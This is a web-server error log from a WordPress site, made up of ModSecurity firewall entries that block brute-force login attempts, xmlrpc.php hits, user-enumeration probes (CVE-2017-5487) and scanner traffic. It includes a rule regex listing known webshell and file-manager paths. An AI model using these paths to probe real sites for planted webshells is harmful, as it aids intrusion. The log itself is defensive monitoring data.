[Tue Nov 18 05:26:42.264061 2025] [:error] [pid 61482:tid 61505] [client 212.56.53.189:48125] [client 212.56.53.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.56.53.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRuTEvtNHsWZClVWav4_hwAAANI"], referer: https://gigfragments.org/wp-login.php?action=register
[Tue Nov 18 05:46:55.940777 2025] [:error] [pid 42804:tid 42820] [client 50.6.108.140:37238] [client 50.6.108.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.108.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRuXz_pXARlE6tIuBnlI1gAAAU4"]
[Tue Nov 18 06:14:02.285735 2025] [:error] [pid 61482:tid 61505] [client 217.154.198.74:36380] [client 217.154.198.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.198.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRueKvtNHsWZClVWav5L1QAAANI"]
[Tue Nov 18 06:14:27.563459 2025] [:error] [pid 29195:tid 29212] [client 217.154.198.74:41064] [client 217.154.198.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.198.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRueQxMeonxy_4yeOTU4ZAAAAQ8"]
[Tue Nov 18 06:25:21.371850 2025] [:error] [pid 61391:tid 61410] [client 222.79.104.23:34190] [client 222.79.104.23] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRug0YwXIKmhlnkP3-diFAAAAAo"]
[Tue Nov 18 09:51:38.538109 2025] [:error] [pid 61391:tid 61416] [client 188.166.183.87:47604] [client 188.166.183.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.183.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRvRKowXIKmhlnkP3-eNXwAAABA"]
[Tue Nov 18 09:51:40.292792 2025] [:error] [pid 61391:tid 61409] [client 188.166.183.87:47604] [client 188.166.183.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.183.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRvRLIwXIKmhlnkP3-eNYQAAAAk"], referer: https://gigfragments.org/wp-login.php
[Tue Nov 18 09:57:40.033192 2025] [:error] [pid 61482:tid 61508] [client 52.178.159.233:22467] [client 52.178.159.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.178.159.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRvSlPtNHsWZClVWav6G8gAAANU"]
[Tue Nov 18 09:57:42.344582 2025] [:error] [pid 61392:tid 61433] [client 52.178.159.233:22465] [client 52.178.159.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.178.159.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRvSlnSmvb496zZxueIJygAAAEQ"], referer: http://gigfragments.org/wp-login.php
[Tue Nov 18 09:57:44.521844 2025] [:error] [pid 61391:tid 61400] [client 52.178.159.233:22464] [client 52.178.159.233] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRvSmIwXIKmhlnkP3-eOxwAAAAA"], referer: http://gigfragments.org/wp-login.php
[Tue Nov 18 09:57:45.588015 2025] [:error] [pid 61392:tid 61442] [client 52.178.159.233:22470] [client 52.178.159.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.178.159.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRvSmXSmvb496zZxueIJ0gAAAE0"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Tue Nov 18 10:24:34.131816 2025] [proxy_fcgi:error] [pid 9935:tid 9949] (70007)The timeout specified has expired: [client 51.81.107.180:41274] AH01075: Error dispatching request to : (polling)
[Tue Nov 18 11:21:24.935914 2025] [:error] [pid 28635:tid 28652] [client 170.106.165.76:47330] [client 170.106.165.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRvmNGB61AnWhG54Xz0EdAAAAc4"]
[Tue Nov 18 14:10:50.791306 2025] [:error] [pid 44471:tid 44527] [client 198.235.24.171:63532] [client 198.235.24.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.235.24.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRwN6u_6m0bQO14XwtMIbgAAARc"]
[Tue Nov 18 14:42:26.809415 2025] [:error] [pid 44470:tid 44483] [client 4.206.155.146:62112] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRwVUjv-RLYfULjlgDaAyAAAAEg"]
[Tue Nov 18 14:42:27.356654 2025] [:error] [pid 44470:tid 44497] [client 4.206.155.146:62032] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRwVUzv-RLYfULjlgDaAyQAAAFY"]
[Tue Nov 18 14:42:27.769650 2025] [:error] [pid 1387:tid 1392] [client 4.206.155.146:60589] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRwVU0zBvalKyx3hMvUK5wAAAAM"]
[Tue Nov 18 14:42:28.232678 2025] [:error] [pid 44472:tid 44551] [client 4.206.155.146:62117] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRwVVIKhGwkiLjv8BQylXwAAAVQ"]
[Tue Nov 18 15:02:16.235907 2025] [:error] [pid 44472:tid 44538] [client 146.190.140.214:50052] [client 146.190.140.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.140.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRwZ-IKhGwkiLjv8BQysbAAAAUc"]
[Tue Nov 18 15:34:59.241232 2025] [:error] [pid 44471:tid 44505] [client 198.54.114.107:57850] [client 198.54.114.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRwho-_6m0bQO14XwtMfuAAAAQE"]
[Tue Nov 18 16:44:32.494523 2025] [:error] [pid 44624:tid 44637] [client 4.206.155.146:23528] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aRwx8CllffozoBluWCVTLgAAAYo"]
[Tue Nov 18 16:44:32.928977 2025] [:error] [pid 44470:tid 44490] [client 4.206.155.146:23435] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aRwx8Dv-RLYfULjlgDanwAAAAE8"]
[Tue Nov 18 16:44:33.482387 2025] [:error] [pid 1387:tid 1409] [client 4.206.155.146:23432] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aRwx8UzBvalKyx3hMvU_pAAAABA"]
[Tue Nov 18 16:44:33.932340 2025] [:error] [pid 44624:tid 44638] [client 4.206.155.146:23433] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aRwx8SllffozoBluWCVTMAAAAYs"]
[Tue Nov 18 17:35:19.173271 2025] [:error] [pid 44560:tid 44591] [client 4.206.155.146:40950] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRw91wnbP7etF3q5-5uCzgAAANQ"]
[Tue Nov 18 17:35:19.650498 2025] [:error] [pid 44624:tid 44646] [client 4.206.155.146:40896] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRw91yllffozoBluWCVuEwAAAZM"]
[Tue Nov 18 17:35:20.075121 2025] [:error] [pid 44471:tid 44504] [client 4.206.155.146:40947] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRw92O_6m0bQO14XwtNCaAAAAQA"]
[Tue Nov 18 17:35:20.491239 2025] [:error] [pid 44471:tid 44526] [client 4.206.155.146:40920] [client 4.206.155.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRw92O_6m0bQO14XwtNCaQAAARY"]
[Tue Nov 18 17:36:09.712859 2025] [:error] [pid 44560:tid 44591] [client 143.198.205.96:61629] [client 143.198.205.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aRw-CQnbP7etF3q5-5uDKQAAANQ"], referer: www.google.com
[Tue Nov 18 17:36:09.718460 2025] [:error] [pid 44471:tid 44508] [client 143.198.205.96:62361] [client 143.198.205.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aRw-Ce_6m0bQO14XwtNCpQAAAQQ"], referer: www.google.com
[Tue Nov 18 17:49:39.029710 2025] [:error] [pid 44472:tid 44531] [client 162.240.28.193:47776] [client 162.240.28.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.28.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRxBM4KhGwkiLjv8BQzjvwAAAUA"]
[Tue Nov 18 19:13:09.151763 2025] [autoindex:error] [pid 44560:tid 44587] [client 84.247.191.22:63835] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 18 20:39:31.643054 2025] [:error] [pid 1387:tid 1415] [client 85.95.216.149:17790] [client 85.95.216.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.95.216.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRxpA0zBvalKyx3hMvWQCwAAABY"]
[Tue Nov 18 21:35:24.410355 2025] [:error] [pid 44471:tid 44528] [client 43.158.91.71:34520] [client 43.158.91.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRx2HO_6m0bQO14XwtOB9wAAARg"]
[Tue Nov 18 22:16:02.708030 2025] [:error] [pid 3500:tid 3519] [client 154.53.62.61:56324] [client 154.53.62.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.53.62.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRx_ovCbRC7k2D7mjbSp5QAAAdE"]
[Tue Nov 18 23:05:10.662620 2025] [:error] [pid 3500:tid 3521] [client 173.254.28.204:23390] [client 173.254.28.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.254.28.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRyLJvCbRC7k2D7mjbS_7gAAAdM"]
[Tue Nov 18 23:49:28.654008 2025] [:error] [pid 57578:tid 57584] [client 209.42.16.160:46214] [client 209.42.16.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.16.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRyViD9_jVUQm7Io75MzWAAAAIQ"]
[Wed Nov 19 01:04:27.396642 2025] [:error] [pid 3052:tid 3135] [client 103.198.154.247:53751] [client 103.198.154.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.198.154.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRynG1NM6bOMTTuJnz1uFwAAAMY"]
[Wed Nov 19 01:11:17.485047 2025] [:error] [pid 3052:tid 3147] [client 103.198.154.247:60095] [client 103.198.154.247] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRyotVNM6bOMTTuJnz1yLAAAANI"]
[Wed Nov 19 01:12:57.604537 2025] [:error] [pid 43880:tid 43908] [client 103.198.154.247:61515] [client 103.198.154.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.198.154.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRypGe1q1HNbKyNr9SZalwAAAFc"]
[Wed Nov 19 01:14:43.769181 2025] [:error] [pid 3052:tid 3131] [client 103.198.154.247:62559] [client 103.198.154.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.198.154.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRypg1NM6bOMTTuJnz10OwAAAMI"]
[Wed Nov 19 01:16:24.202728 2025] [:error] [pid 3052:tid 3128] [client 103.198.154.247:64003] [client 103.198.154.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.198.154.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRyp6FNM6bOMTTuJnz11DQAAAMA"]
[Wed Nov 19 01:18:08.234642 2025] [:error] [pid 43881:tid 43919] [client 103.198.154.247:49208] [client 103.198.154.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.198.154.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRyqUH_TrIND5buvEyfSHAAAAUY"]
[Wed Nov 19 01:34:31.248963 2025] [:error] [pid 43880:tid 43891] [client 49.7.227.204:37100] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRyuJ-1q1HNbKyNr9SZlZgAAAEY"]
[Wed Nov 19 02:59:40.956343 2025] [:error] [pid 43880:tid 43890] [client 108.167.188.28:11612] [client 108.167.188.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.188.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRzCHO1q1HNbKyNr9SaLnwAAAEU"], referer: https://gigfragments.org
[Wed Nov 19 03:17:55.311164 2025] [:error] [pid 43880:tid 43888] [client 133.167.69.42:48294] [client 133.167.69.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 133.167.69.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRzGY-1q1HNbKyNr9SaWMgAAAEM"]
[Wed Nov 19 03:17:59.622786 2025] [:error] [pid 14439:tid 14452] [client 133.167.69.42:52964] [client 133.167.69.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 133.167.69.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRzGZ1at0cKFYVAxpdABDAAAAQs"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 19 03:27:28.412534 2025] [:error] [pid 3052:tid 3152] [client 185.225.33.10:58027] [client 185.225.33.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.225.33.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRzIoFNM6bOMTTuJnz3JeAAAANc"]
[Wed Nov 19 03:27:31.471418 2025] [:error] [pid 44063:tid 44130] [client 185.225.33.10:27489] [client 185.225.33.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.225.33.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRzIo0VOSC7H33BBqQ0poQAAAI0"], referer: http://gigfragments.org/wp-login.php
[Wed Nov 19 03:27:33.723017 2025] [:error] [pid 3052:tid 3147] [client 185.225.33.10:27505] [client 185.225.33.10] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRzIpVNM6bOMTTuJnz3JrwAAANI"], referer: http://gigfragments.org/wp-login.php
[Wed Nov 19 03:27:35.245710 2025] [:error] [pid 43881:tid 43929] [client 185.225.33.10:27513] [client 185.225.33.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.225.33.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRzIp3_TrIND5buvEycI0wAAAVA"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Wed Nov 19 03:27:42.284622 2025] [:error] [pid 44063:tid 44131] [client 167.172.190.211:52098] [client 167.172.190.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.190.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRzIrkVOSC7H33BBqQ0ptgAAAI4"]
[Wed Nov 19 03:28:15.521474 2025] [:error] [pid 43881:tid 43916] [client 133.167.69.42:50812] [client 133.167.69.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 133.167.69.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRzIz3_TrIND5buvEycJFAAAAUM"]
